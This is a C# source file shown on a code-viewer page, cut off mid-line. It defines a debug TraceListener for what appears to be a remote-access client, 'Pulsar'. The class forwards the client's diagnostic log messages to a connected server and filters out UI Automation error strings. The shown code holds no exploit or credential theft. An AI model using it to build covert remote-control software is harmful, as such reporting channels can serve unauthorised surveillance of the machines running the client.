156 lines
5.4 KiB
C#
156 lines
5.4 KiB
C#
using Pulsar.Client.Networking;
|
|
using Pulsar.Common.Messages;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Security.Cryptography;
|
|
using static System.Net.WebRequestMethods;
|
|
|
|
namespace Pulsar.Client.LoggingAPI
|
|
{
|
|
public class UniversalDebugLogger : TraceListener
|
|
{
|
|
// public static byte[] EncryptionKey { get; private set; }
|
|
private static PulsarClient _client;
|
|
|
|
public static void Initialize(PulsarClient c)
|
|
{
|
|
//try
|
|
//{
|
|
// string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Logs");
|
|
|
|
// if (!Directory.Exists(path))
|
|
// {
|
|
// Directory.CreateDirectory(path);
|
|
// }
|
|
|
|
// // EncryptionKey = new byte[16];
|
|
// // using (var rng = new RNGCryptoServiceProvider())
|
|
// // {
|
|
// // rng.GetBytes(EncryptionKey);
|
|
// // }
|
|
|
|
// string filePath = Path.Combine(path, "plog.txt");
|
|
// if (!File.Exists(filePath))
|
|
// {
|
|
// using (File.Create(filePath)) { }
|
|
// }
|
|
//}
|
|
//catch (Exception)
|
|
//{
|
|
//}
|
|
|
|
_client = c;
|
|
}
|
|
|
|
public static void SendLogToServer(string logMessage)
|
|
{
|
|
if (_client != null && _client.Connected)
|
|
{
|
|
if (!IsBlacklistedMessage(logMessage))
|
|
{
|
|
_client.Send(new GetDebugLog { Log = logMessage });
|
|
}
|
|
}
|
|
}
|
|
|
|
internal static bool IsUiAutomationLog(string message)
|
|
{
|
|
if (string.IsNullOrEmpty(message))
|
|
return false;
|
|
|
|
if (message.IndexOf("MS.Internal.Automation", StringComparison.OrdinalIgnoreCase) >= 0 ||
|
|
message.IndexOf("System.Windows.Automation", StringComparison.OrdinalIgnoreCase) >= 0 ||
|
|
message.IndexOf("UIAutomationClient", StringComparison.OrdinalIgnoreCase) >= 0 ||
|
|
message.IndexOf("AutomationProxies", StringComparison.OrdinalIgnoreCase) >= 0 ||
|
|
message.IndexOf("ElementNotAvailableException", StringComparison.OrdinalIgnoreCase) >= 0 ||
|
|
message.IndexOf("ElementNotEnabledException", StringComparison.OrdinalIgnoreCase) >= 0 ||
|
|
message.IndexOf("NoClickablePointException", StringComparison.OrdinalIgnoreCase) >= 0)
|
|
{
|
|
return true;
|
|
}
|
|
|
|
if (message.IndexOf("L'op\u00E9ration n'est pas valide en raison de l'\u00E9tat actuel de l'objet", StringComparison.OrdinalIgnoreCase) >= 0)
|
|
{
|
|
return true;
|
|
}
|
|
|
|
if (message.IndexOf("L'\u00E9l\u00E9ment cible correspond \u00E0 une interface utilisateur", StringComparison.OrdinalIgnoreCase) >= 0)
|
|
{
|
|
return true;
|
|
}
|
|
|
|
if (message.IndexOf("The target element corresponds to a user interface that is no longer available", StringComparison.OrdinalIgnoreCase) >= 0)
|
|
{
|
|
return true;
|
|
}
|
|
|
|
if (message.IndexOf("L' |